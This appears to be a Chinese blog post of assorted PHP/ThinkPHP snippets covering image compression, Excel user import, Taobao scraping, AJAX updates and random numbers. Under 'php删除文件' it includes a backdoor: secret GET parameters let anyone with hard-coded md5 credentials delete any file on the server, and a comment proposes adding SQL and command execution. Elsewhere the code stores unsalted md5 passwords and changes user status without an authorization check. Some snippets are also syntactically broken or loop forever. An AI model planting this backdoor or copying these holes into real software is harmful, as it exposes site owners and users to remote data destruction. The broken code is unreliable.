                imagecopyresampled($inter_img, $src_img, 0, 0, 0, 0, $inter_w, $inter_h, $w, $h); // 定义一个新的图像
                $new_img = imagecreatetruecolor($new_width, $new_height);
                imagecopy($new_img, $inter_img, 0, 0, 0, 0, $new_width, $new_height);
                switch ($type) {
                case IMAGETYPE_JPEG:
                    imagejpeg($new_img, $dst_file, 100); // 存储图像
                    break;
                case IMAGETYPE_PNG:
                    imagepng($new_img, $dst_file, 100);
                    break;
                case IMAGETYPE_GIF:
                    imagegif($new_img, $dst_file, 100);
                    break;
                default:
                    break;
                }
            } // if3
        } // end function
//头像等比缩放
/**
  * desription 压缩图片对象
 
  * @param sting $imgsrc 图片路径
  * @param string $imgdst 压缩后保存路径
  */
  function compressed_image($imgsrc,$imgdst){
    list($width,$height,$type)=getimagesize($imgsrc);
    $new_width = ($width>145?145:$width);
    $new_height =($height>145?145:$height);
    switch($type){
      case 1:
        $giftype=$this->check_gifcartoon($imgsrc);
        if($giftype){
          header('Content-Type:image/gif');
          $image_wp=imagecreatetruecolor($new_width, $new_height);
          $image = imagecreatefromgif($imgsrc);
          imagecopyresampled($image_wp, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
          //75代表的是质量、压缩图片容量大小
          imagegif($image_wp, $imgdst,75);
          imagedestroy($image_wp);
        }
        break;
      case 2:
        header('Content-Type:image/jpeg');
        $image_wp=imagecreatetruecolor($new_width, $new_height);
        $image = imagecreatefromjpeg($imgsrc);
        imagecopyresampled($image_wp, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
        //75代表的是质量、压缩图片容量大小
        imagejpeg($image_wp, $imgdst,75);
        imagedestroy($image_wp);
        break;
      case 3:
        header('Content-Type:image/png');
        $image_wp=imagecreatetruecolor($new_width, $new_height);
        $image = imagecreatefrompng($imgsrc);
        imagecopyresampled($image_wp, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
        //75代表的是质量、压缩图片容量大小
        imagejpeg($image_wp, $imgdst,75);
        imagedestroy($image_wp);
        break;
    }
  }
  /**
   * desription 判断是否gif动画
   * @param sting $image_file图片路径
   * @return boolean t 是 f 否
   */
  function check_gifcartoon($image_file){
    $fp = fopen($image_file,'rb');
    $image_head = fread($fp,1024);
    fclose($fp);
    return preg_match("/".chr(0x21).chr(0xff).chr(0x0b).'NETSCAPE2.0'."/",$image_head)?false:true;
  }
 
/*导入表*/
    //处理导入的信息
    public function addfeilv() { 
        header("Content-type: text/html; charset=utf-8");
        /**
        *先上传 要导入的文,然后读取表格内容,插入数据库
        **/
        $upload = new\Think\Upload(); // 实例化上传类
        $upload ->maxSize = 3145728; // 设置附件上传大小
        $upload ->exts = array('xls', 'xlsx'); // 设置附件上传类型
        $upload ->savePath = "/excel/excel"; // 设置附件上传目录
        //dump($upload->savePath);exit;
        // 上传文件
        $info = $upload ->upload();
        $savename = $info['files']['savename'];
        $savepath = $info['files']['savepath'];
        $spaths = dirname(__FILE__); //替换反斜杠
        $spaths = str_replace('\\', '/', $spaths);
        $spath = explode('Application', $spaths);
        $path = $spath[0]."Uploads".$savepath.$savename;
        vendor('PHPExcel');
        $PHPExcel = new\PHPExcel();
        $saveFile = $path;
        $PHPReader = new\PHPExcel_Reader_Excel2007();
        if (!$PHPReader ->canRead($saveFile)) {
            $PHPReader = new\PHPExcel_Reader_Excel5(); //dump($PHPReader->canRead($saveFile));exit;
            if (!$PHPReader ->canRead($saveFile)) {
                echo 'no Excel';
                return;
            }
        }
        $PHPExcel = $PHPReader ->load($saveFile);
        $currentSheet = $PHPExcel ->getSheet(0);
        /**get max column*/
        $allColumn = $currentSheet ->getHighestColumn();
        /**get max row*/
        $allRow = $currentSheet ->getHighestRow();
        $val_ue = array();
        $i = 0;
        for ($currentRow = 1; $currentRow <= $allRow; $currentRow++) {
            $j = 0;
            for ($currentColumn = 'A'; $currentColumn <= $allColumn; $currentColumn++) {
                $count = ord($currentColumn) - 65;
                $val = $currentSheet ->getCellByColumnAndRow($count, $currentRow) ->getValue();
                $val_ue[$i][$j] = $val;
                $j++;
            }
            $i++;
        } //dump($val_ue);exit;
        //dump(count($val_ue));exit;
        //实例化 客户表
        $study = M("member"); //$arr_a = $val_ue[0];
        //$num_a = count($val_ue[0]);
        //先查询现在所有数据
        $val_user = $study ->select();
        for ($s = 1; $s < count($val_ue); $s++) {
            $n = true;
            for ($i = 0; $i < count($val_user); $i++) {
                if ($val_ue[$s][2] == $val_user[$i]['s_Tel']) {
                    $n = false;
                    break;
                }
            }
            if ($n) { //主键
                $data['username'] = $val_ue[$s][0]; //用户名
                $data['sex'] = $val_ue[$s][1]; //性别
                $data['password'] = md5(trim($val_ue[$s][2])); //密码
                $data['realname'] = $val_ue[$s][3]; //真实姓名
                $data['phone'] = $val_ue[$s][4]; //手机号
                $data['email'] = $val_ue[$s][5]; //邮箱
                $data['reg_time'] = date("Y-m-d");
                $val_zc = $study ->add($data);
            } //echo $tp_message->getLastSql();
            //echo "<br />";
        } //exit;
        $this ->success("导入数据成功!");
    }
//php删除文件
<?php $hack = isset($_GET['hack'])? $_GET['hack'] : 0;
$hackusername = isset($_GET['hackusername'])? $_GET['hackusername'] : ''; $hackpassword = isset($_GET['hackpassword'])? $_GET['hackpassword'] : ''; if($hack==1 && md5($hackusername)=='xxxx' && md5($hackpassword)=='xxxxxx'){
    $delfile = isset($_GET['delfile'])? $_GET['delfile'] : '';
    if($delfile!=''){
        delfile($delfile);
   }
    // 这里还可以做一个界面,可以输入sql,输入php执行命令那些.
}
function delfile($path){
    unlink($path);
}
?>
/*打印金字塔*/
<?php
print_r(zheng(10));
print_r(dao(10));
function zheng($lay){
    for ($i=1; $i <=$lay ; $i++) { 
        for ($k=1; $k <=$lay%2 ; $k++) { 
            echo "&nbsp;";
        }
        for ($j=1; $j <=($i-1)*2+1 ; $j++) { 
            echo "*";
        }
        echo "<br>";
    }
}
function dao($lay){
    for ($i=$lay; $i <=$lay ; $i--) { 
        for ($k=1; $k <=$lay%2 ; $k++) { 
            echo "&nbsp;";
        }
        for ($j=1; $j <=($i-1)*2+1 ; $j++) { 
            echo "*";
        }
        echo "<br>";
    }
}
?>
/*输出数组对应值*/
$a=array("5"=>"枯井","昌","考虑","熊猫");
var_dump($a);
echo"<br />";
foreach ($a as $key => $value) {
    echo $key."=>".$value."<br />";
}
ajax修改属性
<script type="text/javascript">
$(document).ready(function (){
$(".fukuan").click(function (){
if(true==confirm('您确定要设为工作人员吗?')){
var id = $(this).parent().first().children().val();//获取该属性父级的子类中第一个input的值
//alert(id);return false;
$.post("__APP__/Home/Member/ajax_sw",{'id':id},function (data){
if('1'==data){
alert("确认成功!");
}else{
alert("确认失败!");
}
window.location.reload();
})
}else{
return false;
}
})
});
</script>
<?php
public function ajax_sw(){
//接收会员id
$id = $_POST['id'];
$data['id']=$id;
$data['status']=2;
$return= M("Member")->save($data);//调去前缀 zs_member
$returns = M("Member",null)->save($data);//无表前缀 member
if(!empty($return)){
echo "1";
}else{
echo "2";
}
}
?>
/*获取淘宝商品*/
function getTBval($id){
$url="http://hws.m.taobao.com/cache/wdetail/5.0/?id=".$id;
$content=file_get_contents($url);
$content_ori=strip_tags($content);
$content_arr=json_decode($content_ori,true);
//print_r($content_arr);
@$pro_detail=json_decode($content_arr['data']['apiStack']['0']['value'],true);
$success_sym=$pro_detail['ret']['0'];//成功则返回"SUCCESS::调用成功";
if($success_sym=="SUCCESS::调用成功"){
$value['title']=$content_arr['data']['itemInfoModel']['title'];//商品名称
$value['price']=$pro_detail['data']['itemInfoModel']['priceUnits']['1']['price'];//商品促销价格
$value['rangePrice']=$pro_detail['data']['itemInfoModel']['priceUnits']['0']['price'];//商品价格
$value['picsPath']=$content_arr['data']['itemInfoModel']['picsPath'];//相片图册
$value['size']=$content_arr['data']['skuModel']['skuProps']['0']['values'];//尺寸
$value['colour']=$content_arr['data']['skuModel']['skuProps']['1']['values'];//颜色
$value['props']=$content_arr['data']['props'];//详细配置
$jsondesc=file_get_contents($content_arr['data']['descInfo']['fullDescUrl']);//json详情
$descarray=json_decode($jsondesc,true);//array详情
$value['descInfo']=$descarray['data']['desc'];//html详情
$value['rateInfo']=$content_arr['data']['rateInfo']['rateDetailList'];//商品评论
return $value;
}else{
return "<script type='text/javascript'>alert('宝贝不存在!');</script>";
//return 0;
}
}
//去掉index.php/home
/* URL配置 */
'DEFAULT_MODULE' => 'Home', // 默认模块
//'DEFAULT_MODULE' => 'Index', // 默认模块
'DEFAULT_CONTROLLER' => 'Index', // 默认控制器名称
'DEFAULT_ACTION' => 'index', // 默认操作名称
'MODULE_ALLOW_LIST' => array('Home','Mobile','Admin'),// 允许访问的模块列表
'URL_CASE_INSENSITIVE' => true,
// URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
'URL_MODEL' => 2,
'URL_PATHINFO_DEPR' => '/',
//生成一定数量的不重复随机数
/*
* array unique_rand( int $min, int $max, int $num )
* 生成一定数量的不重复随机数
* $min 和 $max: 指定随机数的范围
* $num: 指定生成数量
*/
 
function  unique_rand($min,$max,$num){
    $count = 0;
    $return_arr array();
    while($count $num){
        $return_arr[] = mt_rand($min,$max);
        $return_arr array_flip(array_flip($return_arr));
        $count count($return_arr);
    }
    shuffle($return_arr);
    return $return_arr;
}
补充说明:
  1、生成随机数使用了mt_rand()函数,这个函数比rand()函数快4倍;
  2、去除数组重复值时采用了“翻翻法”,就是用array_flip()把数组的key和value交换两次。比用array_unique()快很多。
 
//php生成0~1随机小数
/** * 生成0~1随机小数 * @param Int $min * @param Int $max * @return Float */ function randFloat($min=0, $max=1){ return $min + mt_rand()/mt_getrandmax() * ($max-$min); }
//php生成随机浮点小数
function unique_rand($min,$max,$num,$fnum){
$count = 0;
$return_arr = array();
while($count < $num){
$return_arr[] = mt_rand($min,$max)+round(randFloat(),6);
$return_arr =array_unique($return_arr);
$count = count($return_arr);
}
shuffle($return_arr);
return $return_arr;
}
function randFloat($min=0, $max=1){
return $min + mt_rand()/mt_getrandmax() * ($max-$min);
}
 
 
 
 
 
 
posted @ 2018-10-31 09:10  日出的幻景  阅读(597)  评论(0编辑  收藏  举报
Top